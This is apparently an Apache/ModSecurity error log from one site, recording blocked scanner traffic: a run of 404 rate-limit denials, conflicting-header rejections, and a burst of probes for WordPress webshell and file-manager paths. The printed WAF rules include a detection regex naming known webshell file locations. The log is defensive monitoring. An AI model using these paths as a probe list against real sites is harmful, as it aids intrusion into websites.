[Mon Feb 23 13:26:09.876699 2026] [:error] [pid 29909:tid 29935] [client 54.38.38.130:50550] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZvk8T9oc2QzltksUk6-HQAAARg"]
[Mon Feb 23 13:26:11.949906 2026] [:error] [pid 29909:tid 29930] [client 54.38.38.130:50554] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZvk8z9oc2QzltksUk6-IAAAARM"]
[Mon Feb 23 13:26:13.829848 2026] [:error] [pid 39640:tid 39682] [client 54.38.38.130:50566] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZvk9dsK--eVCgzvvueAlwAAAow"]
[Mon Feb 23 13:26:15.854648 2026] [:error] [pid 39538:tid 39551] [client 54.38.38.130:49578] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZvk9y4Zk8-cQOG3Zno97wAAAYk"]
[Mon Feb 23 13:26:17.766857 2026] [:error] [pid 39639:tid 39655] [client 54.38.38.130:49590] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZvk-RpFkMoMi8uTUUNBnQAAAkw"]
[Mon Feb 23 13:26:19.850927 2026] [:error] [pid 39640:tid 39692] [client 54.38.38.130:49602] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZvk-9sK--eVCgzvvueAmwAAApY"]
[Mon Feb 23 13:26:21.892945 2026] [:error] [pid 39538:tid 39563] [client 54.38.38.130:49614] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZvk_S4Zk8-cQOG3Zno9_wAAAZU"]
[Mon Feb 23 13:26:23.935141 2026] [:error] [pid 25380:tid 25393] [client 54.38.38.130:49620] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZvk_6Krc8yFQ8fy78qcWQAAAMs"]
[Mon Feb 23 13:26:25.823685 2026] [:error] [pid 39639:tid 39654] [client 54.38.38.130:38486] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZvlARpFkMoMi8uTUUNBoAAAAks"]
[Mon Feb 23 13:26:27.848238 2026] [:error] [pid 25380:tid 25382] [client 54.38.38.130:38488] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZvlA6Krc8yFQ8fy78qcYAAAAMA"]
[Mon Feb 23 13:26:29.874670 2026] [:error] [pid 25380:tid 25384] [client 54.38.38.130:38502] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZvlBaKrc8yFQ8fy78qcaQAAAMI"]
[Mon Feb 23 13:26:31.821877 2026] [:error] [pid 25380:tid 25396] [client 54.38.38.130:38510] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZvlB6Krc8yFQ8fy78qcbwAAAM4"]
[Mon Feb 23 13:26:33.861502 2026] [:error] [pid 39640:tid 39684] [client 54.38.38.130:38518] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZvlCdsK--eVCgzvvueAqgAAAo4"]
[Mon Feb 23 13:26:35.910006 2026] [:error] [pid 39540:tid 39574] [client 54.38.38.130:55230] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZvlC7sgm9aTWhlRScISdAAAAcU"]
[Mon Feb 23 13:26:37.800478 2026] [:error] [pid 39540:tid 39571] [client 54.38.38.130:55238] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZvlDbsgm9aTWhlRScISfwAAAcI"]
[Mon Feb 23 13:26:39.803886 2026] [:error] [pid 39639:tid 39661] [client 54.38.38.130:55240] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZvlDxpFkMoMi8uTUUNBpAAAAlI"]
[Mon Feb 23 13:26:41.813204 2026] [:error] [pid 39504:tid 39530] [client 54.38.38.130:55242] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZvlEXLcHpOlI9gwwJr2LwAAAVg"]
[Mon Feb 23 13:26:43.729796 2026] [:error] [pid 29909:tid 29915] [client 54.38.38.130:55254] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZvlEz9oc2QzltksUk6-IwAAAQQ"]
[Mon Feb 23 13:26:45.743878 2026] [:error] [pid 39540:tid 39592] [client 54.38.38.130:56032] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZvlFbsgm9aTWhlRScISjwAAAdc"]
[Mon Feb 23 13:26:47.763104 2026] [:error] [pid 39540:tid 39571] [client 54.38.38.130:56038] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZvlF7sgm9aTWhlRScISkwAAAcI"]
[Mon Feb 23 13:26:49.657871 2026] [:error] [pid 39639:tid 39659] [client 54.38.38.130:56042] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZvlGRpFkMoMi8uTUUNBrwAAAlA"]
[Mon Feb 23 13:26:51.687552 2026] [:error] [pid 39504:tid 39516] [client 54.38.38.130:56050] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZvlG3LcHpOlI9gwwJr2MQAAAUo"]
[Mon Feb 23 14:31:59.749824 2026] [:error] [pid 39640:tid 39683] [client 43.173.1.69:35926] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZv0X9sK--eVCgzvvueUUgAAAo0"]
[Mon Feb 23 14:50:34.716515 2026] [:error] [pid 39540:tid 39579] [client 14.215.163.132:51761] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZv4ursgm9aTWhlRScI8BAAAAco"]
[Mon Feb 23 20:29:40.845335 2026] [:error] [pid 39639:tid 39658] [client 43.166.136.153:33514] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZxINBpFkMoMi8uTUUPNQQAAAk8"]
[Mon Feb 23 20:45:38.306606 2026] [:error] [pid 25293:tid 25323] [client 45.133.5.110:34619] [client 45.133.5.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aZxL8uL9XfBf66iHi_etJAAAABg"]
[Mon Feb 23 20:45:42.846612 2026] [:error] [pid 25294:tid 25356] [client 45.133.5.108:61445] [client 45.133.5.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aZxL9iRCFB3CqIo_jfbn4wAAAEs"]
[Mon Feb 23 20:45:51.283742 2026] [:error] [pid 39639:tid 39649] [client 45.133.5.155:21041] [client 45.133.5.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aZxL_xpFkMoMi8uTUUPWKgAAAkY"]
[Mon Feb 23 20:45:56.382549 2026] [:error] [pid 39639:tid 39647] [client 45.133.5.130:37545] [client 45.133.5.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aZxMBBpFkMoMi8uTUUPWPwAAAkQ"]
[Mon Feb 23 20:46:05.344532 2026] [:error] [pid 39639:tid 39647] [client 45.133.5.126:51333] [client 45.133.5.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aZxMDRpFkMoMi8uTUUPWXAAAAkQ"]
[Mon Feb 23 20:46:07.217193 2026] [:error] [pid 39639:tid 39652] [client 45.133.5.125:36637] [client 45.133.5.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aZxMDxpFkMoMi8uTUUPWbAAAAkk"]
[Mon Feb 23 20:46:07.458625 2026] [:error] [pid 39538:tid 39561] [client 45.133.5.154:28721] [client 45.133.5.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aZxMDy4Zk8-cQOG3ZnpydAAAAZM"]
[Mon Feb 23 20:46:07.713269 2026] [:error] [pid 39538:tid 39564] [client 45.133.5.138:63855] [client 45.133.5.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aZxMDy4Zk8-cQOG3ZnpydQAAAZY"]
[Mon Feb 23 20:46:07.941428 2026] [:error] [pid 25380:tid 25389] [client 45.133.5.119:29439] [client 45.133.5.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aZxMD6Krc8yFQ8fy78pBxgAAAMc"]
[Mon Feb 23 20:46:08.196235 2026] [:error] [pid 39538:tid 39560] [client 45.133.5.126:49745] [client 45.133.5.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aZxMEC4Zk8-cQOG3ZnpydgAAAZI"]
[Mon Feb 23 20:46:09.523773 2026] [:error] [pid 39538:tid 39565] [client 45.133.5.110:21189] [client 45.133.5.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aZxMES4Zk8-cQOG3ZnpyfAAAAZc"]
[Mon Feb 23 20:46:11.446112 2026] [:error] [pid 39538:tid 39562] [client 45.133.5.142:55237] [client 45.133.5.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aZxMEy4Zk8-cQOG3ZnpyhQAAAZQ"]
[Mon Feb 23 20:46:14.720922 2026] [:error] [pid 39639:tid 39659] [client 45.133.5.135:63713] [client 45.133.5.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aZxMFhpFkMoMi8uTUUPWggAAAlA"]
[Mon Feb 23 20:46:16.195797 2026] [:error] [pid 25295:tid 25333] [client 45.133.5.129:56075] [client 45.133.5.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aZxMGI2Av4J1Jnqi7yLEkAAAAIM"]
[Mon Feb 23 20:46:18.001046 2026] [:error] [pid 25293:tid 25320] [client 45.133.5.136:25409] [client 45.133.5.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aZxMGuL9XfBf66iHi_etKQAAABU"]
[Mon Feb 23 20:46:26.856773 2026] [:error] [pid 39538:tid 39542] [client 45.133.5.132:64153] [client 45.133.5.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aZxMIi4Zk8-cQOG3ZnpyjwAAAYA"]
[Mon Feb 23 20:46:28.691710 2026] [:error] [pid 39640:tid 39682] [client 45.133.5.108:48983] [client 45.133.5.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aZxMJNsK--eVCgzvvufg-wAAAow"]
[Mon Feb 23 20:46:32.141191 2026] [:error] [pid 39540:tid 39587] [client 45.133.5.152:48575] [client 45.133.5.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/defaults.php"] [unique_id "aZxMKLsgm9aTWhlRScK4OgAAAdI"]
[Mon Feb 23 20:46:33.945894 2026] [:error] [pid 39639:tid 39661] [client 45.133.5.115:43021] [client 45.133.5.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aZxMKRpFkMoMi8uTUUPWuAAAAlI"]
[Mon Feb 23 20:46:40.220450 2026] [:error] [pid 29909:tid 29934] [client 45.133.5.147:41995] [client 45.133.5.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aZxMMD9oc2QzltksUk7d8wAAARc"]
[Mon Feb 23 20:46:41.976197 2026] [:error] [pid 25380:tid 25390] [client 45.133.5.147:64573] [client 45.133.5.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aZxMMaKrc8yFQ8fy78pCAwAAAMg"]
[Mon Feb 23 20:46:43.805553 2026] [:error] [pid 39639:tid 39648] [client 45.133.5.122:47885] [client 45.133.5.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aZxMMxpFkMoMi8uTUUPW5AAAAkU"]
[Mon Feb 23 20:46:44.063953 2026] [:error] [pid 25380:tid 25400] [client 45.133.5.149:62073] [client 45.133.5.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aZxMNKKrc8yFQ8fy78pCBgAAANI"]
[Mon Feb 23 20:46:44.290180 2026] [:error] [pid 39540:tid 39577] [client 45.133.5.116:22741] [client 45.133.5.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZxMNLsgm9aTWhlRScK4PQAAAcg"]
[Mon Feb 23 20:46:48.821538 2026] [:error] [pid 39639:tid 39667] [client 45.133.5.115:53853] [client 45.133.5.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/info.php"] [unique_id "aZxMOBpFkMoMi8uTUUPXAwAAAlg"]
[Mon Feb 23 20:46:49.113108 2026] [:error] [pid 39639:tid 39654] [client 45.133.5.146:42729] [client 45.133.5.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class.api.php"] [unique_id "aZxMORpFkMoMi8uTUUPXBQAAAks"]
